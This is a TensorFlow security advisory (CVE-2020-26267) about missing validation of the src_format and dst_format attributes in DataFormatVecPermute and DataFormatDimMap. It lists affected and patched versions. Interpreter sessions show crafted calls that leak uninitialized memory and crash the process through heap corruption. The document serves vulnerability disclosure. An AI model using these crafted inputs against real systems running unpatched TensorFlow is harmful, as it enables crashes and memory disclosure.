Lack of validation in data format attributes

Low mihaimaruseac published GHSA-c9f3-9wfr-wgh7 on Dec 9, 2020

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (tensorflow)

Affected versions

< 2.4.0

Patched versions

1.15.5, 2.0.4, 2.1.3, 2.2.2, 2.3.2, 2.4.0

Description

Impact

The `tf.raw_ops.DataFormatVecPermute` API does not validate the `src_format` and `dst_format` attributes. The code assumes that these two arguments define a permutation of `NHWC`.

However, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.

```
>>> import tensorflow as tf
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1234', dst_format='1253')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1234', dst_format='1223')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1224', dst_format='1423')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='12345678', dst_format='87654321')
munmap_chunk(): invalid pointer
Aborted
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],
                                    src_format='12345678', dst_format='87654321')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[71364624,        0],
       [71365824,        0],
       [     560,        0],
       [      48,        0]], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],
                                    src_format='12345678', dst_format='87654321')
free(): invalid next size (fast)
Aborted
```

A similar issue occurs in `tf.raw_ops.DataFormatDimMap`, for the same reasons:

```
>>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234',
>>> dst_format='8765')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[1954047348, 1954047348],
       [1852793646, 1852793646],
       [1954047348, 1954047348],
       [1852793632, 1852793632]], dtype=int32)>
```

Patches

We have patched the issue in GitHub commit ebc70b7a592420d3d2f359e4b1694c236b82c7ae and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.

Since this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Severity

Low

CVE ID

CVE-2020-26267

Weaknesses

No CWEs